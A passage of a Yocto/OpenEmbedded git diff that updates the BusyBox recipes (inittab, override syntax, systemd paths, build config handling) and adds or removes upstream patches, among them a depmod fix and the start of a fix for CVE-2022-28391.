+if [ ! -e $D${sysconfdir}/group ]; then
+\tcat << 'EOF' > $D${sysconfdir}/group
+""" + group + """EOF
+fi
+"""
+ d.setVar(d.expand('pkg_preinst:${PN}'), preinst)
+}
+
+addtask do_package after do_populate_sysroot
+
+ALLOW_EMPTY:${PN} = "1"
+
+PACKAGES =+ "${PN}-update"
+FILES:${PN}-update = "${sbindir}/* ${datadir}/${PN}"
+
+pkg_postinst:${PN}-update () {
+#!/bin/sh
+if [ -n "$D" ]; then
+ exit 0
+fi
+${sbindir}/update-passwd
+}
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb b/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb
deleted file mode 100644
index 61fb8cbad1..0000000000
--- a/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "inittab configuration for BusyBox"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
-
-SRC_URI = "file://inittab"
-
-S = "${WORKDIR}"
-
-INHIBIT_DEFAULT_DEPS = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- install -d ${D}${sysconfdir}
- install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
- tmp="${SERIAL_CONSOLES}"
- [ -n "$tmp" ] && echo >> ${D}${sysconfdir}/inittab
- for i in $tmp
- do
- j=`echo ${i} | sed s/\;/\ /g`
- id=`echo ${i} | sed -e 's/^.*;//' -e 's/;.*//'`
- echo "$id::respawn:${base_sbindir}/getty ${j}" >> ${D}${sysconfdir}/inittab
- done
-}
-
-# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
-# Set PACKAGE_ARCH appropriately.
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "${sysconfdir}/inittab"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
-
-RCONFLICTS_${PN} = "sysvinit-inittab"
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.36.1.bb b/meta/recipes-core/busybox/busybox-inittab_1.36.1.bb
new file mode 100644
index 0000000000..6904a91930
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox-inittab_1.36.1.bb
@@ -0,0 +1,63 @@
+SUMMARY = "inittab configuration for BusyBox"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
+
+SRC_URI = "file://inittab"
+
+S = "${WORKDIR}"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ install -d ${D}${sysconfdir}
+ install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
+
+ CONSOLES="${SERIAL_CONSOLES}"
+ for s in $CONSOLES
+ do
+ speed=$(echo $s | cut -d\; -f 1)
+ device=$(echo $s | cut -d\; -f 2)
+ label=$(echo $device | sed -e 's/tty//' | tail --bytes=5)
+
+ echo "$device::respawn:${sbindir}/ttyrun $device ${base_sbindir}/getty $speed $device" >> ${D}${sysconfdir}/inittab
+ done
+
+ if [ "${USE_VT}" = "1" ]; then
+ cat <<EOF >>${D}${sysconfdir}/inittab
+# ${base_sbindir}/getty invocations for the runlevels.
+#
+# The "id" field MUST be the same as the last
+# characters of the device (after "tty").
+#
+# Format:
+# <id>:<runlevels>:<action>:<process>
+#
+
+EOF
+
+ for n in ${SYSVINIT_ENABLED_GETTYS}
+ do
+ echo "tty$n:12345:respawn:${base_sbindir}/getty 38400 tty$n" >> ${D}${sysconfdir}/inittab
+ done
+ echo "" >> ${D}${sysconfdir}/inittab
+ fi
+
+}
+
+
+# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
+# Set PACKAGE_ARCH appropriately.
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "${sysconfdir}/inittab"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
+
+RDEPENDS:${PN} = "ttyrun"
+RCONFLICTS:${PN} = "sysvinit-inittab"
+
+USE_VT ?= "1"
+SYSVINIT_ENABLED_GETTYS ?= "1"
diff --git a/meta/recipes-core/busybox/busybox.inc b/meta/recipes-core/busybox/busybox.inc
index 45aaa2b41c..f5d7c3f9c8 100644
--- a/meta/recipes-core/busybox/busybox.inc
+++ b/meta/recipes-core/busybox/busybox.inc
@@ -5,10 +5,11 @@ BUGTRACKER = "https://bugs.busybox.net/"
DEPENDS += "kern-tools-native virtual/crypt"
-# bzip2 applet in busybox is based on lightly-modified bzip2 source
+# bzip2 applet in busybox is based on lightly-modified bzip2-1.0.4 source
# the GPL is version 2 only
-LICENSE = "GPLv2 & bzip2-1.0.6"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=de10de48642ab74318e893a61105afbb"
+LICENSE = "GPL-2.0-only & bzip2-1.0.4"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=de10de48642ab74318e893a61105afbb \
+ file://archival/libarchive/bz/LICENSE;md5=28e3301eae987e8cfe19988e98383dae"
SECTION = "base"
@@ -22,39 +23,40 @@ EXTRA_OEMAKE = "CC='${CC}' LD='${CCLD}' V=1 ARCH=${TARGET_ARCH} CROSS_COMPILE=${
PACKAGES =+ "${PN}-httpd ${PN}-udhcpd ${PN}-udhcpc ${PN}-syslog ${PN}-mdev ${PN}-hwclock"
-FILES_${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
-FILES_${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_unitdir}/system/syslog.service ${sysconfdir}/default/busybox-syslog"
-FILES_${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
-FILES_${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
-FILES_${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
-FILES_${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
+FILES:${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
+FILES:${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_system_unitdir}/syslog.service ${sysconfdir}/default/busybox-syslog"
+FILES:${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
+FILES:${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
+FILES:${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
+FILES:${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
INITSCRIPT_PACKAGES = "${PN}-httpd ${PN}-syslog ${PN}-udhcpd ${PN}-mdev ${PN}-hwclock"
-INITSCRIPT_NAME_${PN}-httpd = "busybox-httpd"
-INITSCRIPT_NAME_${PN}-hwclock = "hwclock.sh"
-INITSCRIPT_NAME_${PN}-mdev = "mdev"
-INITSCRIPT_PARAMS_${PN}-mdev = "start 04 S ."
-INITSCRIPT_NAME_${PN}-syslog = "syslog"
-INITSCRIPT_NAME_${PN}-udhcpd = "busybox-udhcpd"
+INITSCRIPT_NAME:${PN}-httpd = "busybox-httpd"
+INITSCRIPT_NAME:${PN}-hwclock = "hwclock.sh"
+INITSCRIPT_PARAMS:${PN}-hwclock = "start 40 S . stop 20 0 1 6 ."
+INITSCRIPT_NAME:${PN}-mdev = "mdev"
+INITSCRIPT_PARAMS:${PN}-mdev = "start 04 S ."
+INITSCRIPT_NAME:${PN}-syslog = "syslog"
+INITSCRIPT_NAME:${PN}-udhcpd = "busybox-udhcpd"
SYSTEMD_PACKAGES = "${PN}-syslog"
-SYSTEMD_SERVICE_${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
+SYSTEMD_SERVICE:${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
-RDEPENDS_${PN}-syslog = "busybox"
-CONFFILES_${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
-RCONFLICTS_${PN}-syslog = "rsyslog sysklogd syslog-ng"
+RDEPENDS:${PN}-syslog = "busybox"
+CONFFILES:${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
+RCONFLICTS:${PN}-syslog = "rsyslog sysklogd syslog-ng"
-CONFFILES_${PN}-mdev = "${sysconfdir}/mdev.conf"
+CONFFILES:${PN}-mdev = "${sysconfdir}/mdev.conf"
-RRECOMMENDS_${PN} = "${PN}-udhcpc"
+RRECOMMENDS:${PN} = "${PN}-udhcpc"
-RDEPENDS_${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
+RDEPENDS:${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
inherit cml1 systemd update-rc.d ptest
# busybox's unzip test case needs zip command, which busybox itself does not provide
-RDEPENDS_${PN}-ptest = "zip"
+RDEPENDS:${PN}-ptest = "zip"
# internal helper
def busybox_cfg(feature, tokens, cnf, rem):
@@ -96,12 +98,12 @@ DO_IPv6 := "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 1, 0, d)}"
python () {
if "${OE_DEL}":
- d.setVar('configmangle_append', "${OE_DEL}" + "\n")
+ d.setVar('configmangle:append', "${OE_DEL}" + "\n")
if "${OE_FEATURES}":
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### DISTRO FEATURES$/a\\\n%s\n\n" %
("\\n".join((d.expand("${OE_FEATURES}").split("\n")))))
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### CROSS$/a\\\n%s\n" %
("\\n".join(["CONFIG_EXTRA_CFLAGS=\"${CFLAGS} ${HOST_CC_ARCH}\""
])
@@ -109,9 +111,8 @@ python () {
}
do_prepare_config () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
sed -e '/CONFIG_STATIC/d' \
< ${WORKDIR}/defconfig > ${S}/.config
echo "# CONFIG_STATIC is not set" >> .config
@@ -138,20 +139,26 @@ do_configure () {
do_prepare_config
merge_config.sh -m .config ${@" ".join(find_cfgs(d))}
cml1_do_configure
+
+ # Save a copy of .config and autoconf.h.
+ cp .config .config.orig
+ cp include/autoconf.h include/autoconf.h.orig
}
do_compile() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
+ # Ensure we start do_compile with the original .config and autoconf.h.
+ # These files should always have matching timestamps.
+ cp .config.orig .config
+ cp include/autoconf.h.orig include/autoconf.h
+
if [ "${BUSYBOX_SPLIT_SUID}" = "1" -a x`grep "CONFIG_FEATURE_INDIVIDUAL=y" .config` = x ]; then
+ # Guard againt interrupted do_compile: clean temporary files.
+ rm -f .config.app.suid .config.app.nosuid .config.disable.apps .config.nonapps
+
# split the .config into two parts, and make two busybox binaries
- if [ -e .config.orig ]; then
- # Need to guard again an interrupted do_compile - restore any backup
- cp .config.orig .config
- fi
- cp .config .config.orig
oe_runmake busybox.cfg.suid
oe_runmake busybox.cfg.nosuid
@@ -188,15 +195,18 @@ do_compile() {
bbfatal "busybox suid binary incorrectly provides /bin/sh"
fi
- # copy .config.orig back to .config, because the install process may check this file
- cp .config.orig .config
# cleanup
- rm .config.orig .config.app.suid .config.app.nosuid .config.disable.apps .config.nonapps
+ rm .config.app.suid .config.app.nosuid .config.disable.apps .config.nonapps
else
oe_runmake busybox_unstripped
cp busybox_unstripped busybox
oe_runmake busybox.links
fi
+
+ # restore original .config and autoconf.h, because the install process
+ # may check these files
+ cp .config.orig .config
+ cp include/autoconf.h.orig include/autoconf.h
}
do_install () {
@@ -308,24 +318,25 @@ do_install () {
install -m 0755 ${WORKDIR}/mdev-mount.sh ${D}${sysconfdir}/mdev
fi
fi
- if grep -q "CONFIG_INIT=y" ${B}/.config; then
+ if grep -q "CONFIG_INIT=y" ${B}/.config && ${@bb.utils.contains('VIRTUAL-RUNTIME_init_manager','busybox','true','false',d)}; then
install -D -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d/rcS
install -D -m 0755 ${WORKDIR}/rcK ${D}${sysconfdir}/init.d/rcK
+ install -D -m 0755 ${WORKDIR}/rcS.default ${D}${sysconfdir}/default/rcS
fi
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
if grep -q "CONFIG_KLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-klogd.service.in \
- > ${D}${systemd_unitdir}/system/busybox-klogd.service
+ > ${D}${systemd_system_unitdir}/busybox-klogd.service
fi
if grep -q "CONFIG_SYSLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-syslog.service.in \
- > ${D}${systemd_unitdir}/system/busybox-syslog.service
- if [ ! -e ${D}${systemd_unitdir}/system/busybox-klogd.service ] ; then
- sed -i '/klog/d' ${D}${systemd_unitdir}/system/busybox-syslog.service
+ > ${D}${systemd_system_unitdir}/busybox-syslog.service
+ if [ ! -e ${D}${systemd_system_unitdir}/busybox-klogd.service ] ; then
+ sed -i '/klog/d' ${D}${systemd_system_unitdir}/busybox-syslog.service
fi
if [ -f ${WORKDIR}/busybox-syslog.default ] ; then
install -d ${D}${sysconfdir}/default
@@ -347,14 +358,14 @@ do_install_ptest () {
# These access the internet which is not guaranteed to work on machines running the tests
rm -rf ${D}${PTEST_PATH}/testsuite/wget
sort ${B}/.config > ${D}${PTEST_PATH}/.config
- ln -s /bin/busybox ${D}${PTEST_PATH}/busybox
+ ln -s ${base_bindir}/busybox ${D}${PTEST_PATH}/busybox
}
inherit update-alternatives
ALTERNATIVE_PRIORITY = "50"
-python do_package_prepend () {
+python do_package:prepend () {
# We need to load the full set of busybox provides from the /etc/busybox.links
# Use this to see the update-alternatives with the right information
@@ -371,9 +382,9 @@ python do_package_prepend () {
if alt_name == '[':
alt_name = 'lbracket'
if alt_name == 'klogd' or alt_name == 'syslogd':
- d.appendVar('ALTERNATIVE_%s-syslog' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s-syslog' % (pn), ' ' + alt_name)
else:
- d.appendVar('ALTERNATIVE_%s' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s' % (pn), ' ' + alt_name)
d.setVarFlag('ALTERNATIVE_LINK_NAME', alt_name, alt_link_name)
if os.path.exists('%s%s' % (dvar, target)):
d.setVarFlag('ALTERNATIVE_TARGET', alt_name, target)
@@ -393,7 +404,7 @@ python do_package_prepend () {
# These symlinks will later be updated by update-alternatives calls.
# The update-alternatives.bbclass' postinst script runs firstly before other
# postinst, but this part of code needs run firstly, so add this funtion.
-python populate_packages_updatealternatives_append() {
+python populate_packages_updatealternatives:append() {
postinst = """
test -n 2 > /dev/null || alias test='busybox test'
if test "x$D" = "x"; then
@@ -420,10 +431,10 @@ if grep -q "^${base_bindir}/bash$" $D${sysconfdir}/busybox.links*; then
fi
"""
- d.prependVar('pkg_postinst_%s' % pkg, postinst)
+ d.prependVar('pkg_postinst:%s' % pkg, postinst)
}
-pkg_postinst_${PN}_prepend () {
+pkg_postinst:${PN}:prepend () {
# Need path to saved utils, but they may have be removed on upgrade of busybox
# Only use shell to get paths. Also capture if busybox was saved.
BUSYBOX=""
@@ -439,7 +450,7 @@ pkg_postinst_${PN}_prepend () {
fi
}
-pkg_postinst_${PN}_append () {
+pkg_postinst:${PN}:append () {
# If busybox exists in the remove directory it is because it was the only shell left.
if [ "x$D" = "x" ] ; then
if [ "x$BUSYBOX" != "x" ] ; then
@@ -449,7 +460,7 @@ pkg_postinst_${PN}_append () {
fi
}
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
# This is so you can make busybox commit suicide - removing busybox with no other packages
# providing its files, this will make update-alternatives work, but the update-rc.d part
# for syslog, httpd and/or udhcpd will fail if there is no other package providing sh
@@ -479,7 +490,7 @@ pkg_prerm_${PN} () {
fi
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
# Add path to remove dir in case we removed our only grep
if [ "x$D" = "x" ] ; then
for busybox_rmdir in /tmp/busyboxrm-*; do
@@ -494,7 +505,7 @@ pkg_postrm_${PN} () {
fi
}
-pkg_prerm_${PN}-syslog () {
+pkg_prerm:${PN}-syslog () {
# remove syslog
if test "x$D" = "x"; then
if test "$1" = "upgrade" -o "$1" = "remove"; then
@@ -503,4 +514,4 @@ pkg_prerm_${PN}-syslog () {
fi
}
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
diff --git a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch b/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
deleted file mode 100644
index 2bf2b91c7e..0000000000
--- a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From a9333eb6a7b8dbda735947cd5bc981ff9352a2c9 Mon Sep 17 00:00:00 2001
-From: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
-Date: Thu, 10 Mar 2011 00:27:08 -0500
-Subject: [PATCH 1/2] Use $(CC) when linking instead of $(LD) and use $(CFLAGS)
- and $(EXTRA_CFLAGS) when linking.
-
-This fixes the issue where LDFLAGS escaped with -Wl are ignored during
-compilation. It also simplifies using CFLAGS or EXTRA_CFLAGS (such as
--m32 on x86_64 or -flto) which apply to both compilation and linking
-situations.
-
-Signed-off-by: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
----
-Upstream-Status: Pending
-
- Makefile | 7 ++++---
- scripts/Makefile.build | 8 ++++----
- scripts/Makefile.lib | 13 +++----------
- 3 files changed, 11 insertions(+), 17 deletions(-)
-
-Index: busybox-1.23.2/Makefile
-===================================================================
---- busybox-1.23.2.orig/Makefile
-+++ busybox-1.23.2/Makefile
-@@ -309,7 +309,8 @@ CHECKFLAGS := -D__linux__ -Dlinux -D
- MODFLAGS = -DMODULE
- CFLAGS_MODULE = $(MODFLAGS)
- AFLAGS_MODULE = $(MODFLAGS)
--LDFLAGS_MODULE = -r
-+LDFLAGS_RELOCATABLE = -r -nostdlib
-+LDFLAGS_MODULE = $(LDFLAGS_RELOCATABLE)
- CFLAGS_KERNEL =
- AFLAGS_KERNEL =
-
-@@ -331,7 +332,7 @@ KERNELVERSION = $(VERSION).$(PATCHLEVEL)
- export VERSION PATCHLEVEL SUBLEVEL KERNELRELEASE KERNELVERSION \
- ARCH CONFIG_SHELL HOSTCC HOSTCFLAGS CROSS_COMPILE AS LD CC \
- CPP AR NM STRIP OBJCOPY OBJDUMP MAKE AWK GENKSYMS PERL UTS_MACHINE \
-- HOSTCXX HOSTCXXFLAGS LDFLAGS_MODULE CHECK CHECKFLAGS
-+ HOSTCXX HOSTCXXFLAGS LDFLAGS_RELOCATABLE LDFLAGS_MODULE CHECK CHECKFLAGS
-
- export CPPFLAGS NOSTDINC_FLAGS LINUXINCLUDE OBJCOPYFLAGS LDFLAGS
- export CFLAGS CFLAGS_KERNEL CFLAGS_MODULE
-@@ -610,7 +611,7 @@ quiet_cmd_busybox__ ?= LINK $@
- cmd_busybox__ ?= $(srctree)/scripts/trylink \
- "$@" \
- "$(CC)" \
-- "$(CFLAGS) $(CFLAGS_busybox)" \
-+ "$(CFLAGS) $(CFLAGS_busybox) $(EXTRA_CFLAGS)" \
- "$(LDFLAGS) $(EXTRA_LDFLAGS)" \
- "$(core-y)" \
- "$(libs-y)" \
-Index: busybox-1.23.2/scripts/Makefile.build
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.build
-+++ busybox-1.23.2/scripts/Makefile.build
-@@ -174,7 +174,7 @@ cmd_modversions = \
- | $(GENKSYMS) -a $(ARCH) \
- > $(@D)/.tmp_$(@F:.o=.ver); \
- \
-- $(LD) $(LDFLAGS) -r -o $@ $(@D)/.tmp_$(@F) \
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(@D)/.tmp_$(@F) \
- -T $(@D)/.tmp_$(@F:.o=.ver); \
- rm -f $(@D)/.tmp_$(@F) $(@D)/.tmp_$(@F:.o=.ver); \
- else \
-@@ -257,7 +257,7 @@ quiet_cmd_link_o_target = LD $@
- # If the list of objects to link is empty, just create an empty built-in.o
- # -nostdlib is added to make "make LD=gcc ..." work (some people use that)
- cmd_link_o_target = $(if $(strip $(obj-y)),\
-- $(LD) -nostdlib $(ld_flags) -r -o $@ $(filter $(obj-y), $^),\
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(filter $(obj-y), $^),\
- rm -f $@; $(AR) rcs $@)
-
- $(builtin-target): $(obj-y) FORCE
-@@ -292,10 +292,10 @@ $($(subst $(obj)/,,$(@:.o=-objs))) \
- $($(subst $(obj)/,,$(@:.o=-y)))), $^)
-
- quiet_cmd_link_multi-y = LD $@
--cmd_link_multi-y = $(LD) $(ld_flags) -r -o $@ $(link_multi_deps)
-+cmd_link_multi-y = $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(link_multi_deps)
-
- quiet_cmd_link_multi-m = LD [M] $@
--cmd_link_multi-m = $(LD) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-+cmd_link_multi-m = $(CC) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-
- # We would rather have a list of rules like
- # foo.o: $(foo-objs)
-Index: busybox-1.23.2/scripts/Makefile.lib
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.lib
-+++ busybox-1.23.2/scripts/Makefile.lib
-@@ -121,7 +121,8 @@ cpp_flags = -Wp,-MD,$(depfile) $(NO
- # yet ld_flags is fed to ld.
- #ld_flags = $(LDFLAGS) $(EXTRA_LDFLAGS)
- # Remove the -Wl, prefix from linker options normally passed through gcc
--ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS))
-+ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS) $(CFLAGS) $(EXTRA_CFLAGS))
-+ld_flags_partial = $($(filter-out -shared%, $(filter-out -pie%,$(ld_flags))))
-
-
- # Finds the multi-part object the current object will be linked into
-@@ -151,10 +152,8 @@ $(obj)/%:: $(src)/%_shipped
- # Linking
- # ---------------------------------------------------------------------------
-
--# TODO: LDFLAGS usually is supposed to contain gcc's flags, not ld's.
--# but here we feed them to ld!
--quiet_cmd_ld = LD $@
--cmd_ld = $(LD) $(LDFLAGS) $(EXTRA_LDFLAGS) $(LDFLAGS_$(@F)) \
-+quiet_cmd_ld = CC $@
-+cmd_ld = $(CC) $(ld_flags) $(LDFLAGS_$(@F)) \
- $(filter-out FORCE,$^) -o $@
-
- # Objcopy
diff --git a/meta/recipes-core/busybox/busybox/0001-depmod-Ignore-.debug-directories.patch b/meta/recipes-core/busybox/busybox/0001-depmod-Ignore-.debug-directories.patch
new file mode 100644
index 0000000000..d76118f85b
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/0001-depmod-Ignore-.debug-directories.patch
@@ -0,0 +1,32 @@
+From 5f6ed003f10ee0bd4a508d5f59129a29f0920dfc Mon Sep 17 00:00:00 2001
+From: Saul Wold <saul.wold@windriver.com>
+Date: Thu, 31 Mar 2022 11:21:45 -0700
+Subject: [PATCH] depmod: Ignore .debug directories
+
+The .debug/<module>.ko files do not have the correct symbol information
+since it's split away from the actual <module>.ko file. Just ignore it.
+
+Upstream-Status: Pending
+
+Signed-off-by: Saul Wold <saul.wold@windriver.com>
+---
+ modutils/depmod.c | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/modutils/depmod.c b/modutils/depmod.c
+index bb42bbe..aa5a2de 100644
+--- a/modutils/depmod.c
++++ b/modutils/depmod.c
+@@ -43,6 +43,9 @@ static int FAST_FUNC parse_module(struct recursive_state *state,
+ /* Arbitrary. Was sb->st_size, but that breaks .gz etc */
+ size_t len = (64*1024*1024 - 4096);
+
++ if (strstr(fname, ".debug") != NULL)
++ return TRUE;
++
+ if (strrstr(fname, ".ko") == NULL)
+ return TRUE;
+
+--
+2.31.1
+
diff --git a/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch b/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch
deleted file mode 100644
index 8d1f272120..0000000000
--- a/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From 5b2fc5746c352eb2b27bfc9fb224580d9852d0fa Mon Sep 17 00:00:00 2001
-From: Sakib Sajal <sakib.sajal@windriver.com>
-Date: Fri, 17 Jul 2020 17:27:21 +0000
-Subject: [PATCH] hwclock: make glibc 2.31 compatible
-
-NEWS for glibc version 2.31
-===========================
-
-Deprecated and removed features, and other changes affecting compatibility:
-
-* The settimeofday function can still be used to set a system-wide
- time zone when the operating system supports it. This is because
- the Linux kernel reused the API, on some architectures, to describe
- a system-wide time-zone-like offset between the software clock
- maintained by the kernel, and the "RTC" clock that keeps time when
- the system is shut down.
-
- However, to reduce the odds of this offset being set by accident,
- settimeofday can no longer be used to set the time and the offset
- simultaneously. If both of its two arguments are non-null, the call
- will fail (setting errno to EINVAL).
-
- Callers attempting to set this offset should also be prepared for
- the call to fail and set errno to ENOSYS; this already happens on
- the Hurd and on some Linux architectures. The Linux kernel
- maintainers are discussing a more principled replacement for the
- reused API. After a replacement becomes available, we will change
- settimeofday to fail with ENOSYS on all platforms when its 'tzp'
- argument is not a null pointer.
-
- settimeofday itself is obsolescent according to POSIX. Programs
- that set the system time should use clock_settime and/or the adjtime
- family of functions instead. We may cease to make settimeofday
- available to newly linked binaries after there is a replacement for
- Linux's time-zone-like offset API.
-
-hwclock had two calls to settimeofday, in functions to_sys_clock and
-set_system_clock_timezone, where both the arguments to settimeofday
-were valid (non-null).
-Therefore, split the call, once for timezone and once for timeval.
-
-Fixes #12756
-
-Upstream-Status: Pending
-
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- util-linux/hwclock.c | 12 ++++++++----
- 1 file changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/util-linux/hwclock.c b/util-linux/hwclock.c
-index dc97d8f..cf346e8 100644
---- a/util-linux/hwclock.c
-+++ b/util-linux/hwclock.c
-@@ -131,8 +131,10 @@ static void to_sys_clock(const char **pp_rtcname, int utc)
-
- tv.tv_sec = read_rtc(pp_rtcname, NULL, utc);
- tv.tv_usec = 0;
-- if (settimeofday(&tv, &tz))
-- bb_simple_perror_msg_and_die("settimeofday");
-+ if (settimeofday(NULL, &tz))
-+ bb_simple_perror_msg_and_die("settimeofday: timezone");
-+ if (settimeofday(&tv, NULL))
-+ bb_simple_perror_msg_and_die("settimeofday: timeval");
- }
-
- static void from_sys_clock(const char **pp_rtcname, int utc)
-@@ -283,8 +285,10 @@ static void set_system_clock_timezone(int utc)
- gettimeofday(&tv, NULL);
- if (!utc)
- tv.tv_sec += tz.tz_minuteswest * 60;
-- if (settimeofday(&tv, &tz))
-- bb_simple_perror_msg_and_die("settimeofday");
-+ if (settimeofday(NULL, &tz))
-+ bb_simple_perror_msg_and_die("settimeofday: timezone");
-+ if (settimeofday(&tv, NULL))
-+ bb_simple_perror_msg_and_die("settimeofday: timeval");
- }
-
- //usage:#define hwclock_trivial_usage
---
-2.24.1
-
diff --git a/meta/recipes-core/busybox/busybox/0001-libbb-sockaddr2str-ensure-only-printable-characters-.patch b/meta/recipes-core/busybox/busybox/0001-libbb-sockaddr2str-ensure-only-printable-characters-.patch
new file mode 100644
index 0000000000..4635250170
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/0001-libbb-sockaddr2str-ensure-only-printable-characters-.patch
@@ -0,0 +1,41 @@
+From 0c8da1bead8ffaf270b4b723ead2c517371405d7 Mon Sep 17 00:00:00 2001
+From: Ariadne Conill <ariadne@dereferenced.org>
+Date: Sun, 3 Apr 2022 12:14:33 +0000
+Subject: [PATCH 1/2] libbb: sockaddr2str: ensure only printable characters are
+ returned for the hostname part
+
+CVE: CVE-2022-28391
+Upstream-Status: Pending
+Signed-off-by: Ariadne Conill <ariadne@dereferenced.org>
+Signed-off-by: Steve Sakoman <steve@sakoman.com>
+---
+ libbb/xconnect.c | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/libbb/xconnect.c b/libbb/xconnect.c
+index 0e0b247b8..02c061e67 100644
+--- a/libbb/xconnect.c
++++ b/libbb/xconnect.c
+@@ -497,8 +497,9 @@ static char* FAST_FUNC sockaddr2str(const struct sockaddr *sa, int flags)
+ );
+ if (rc)
+ return NULL;
++ /* ensure host contains only printable characters */
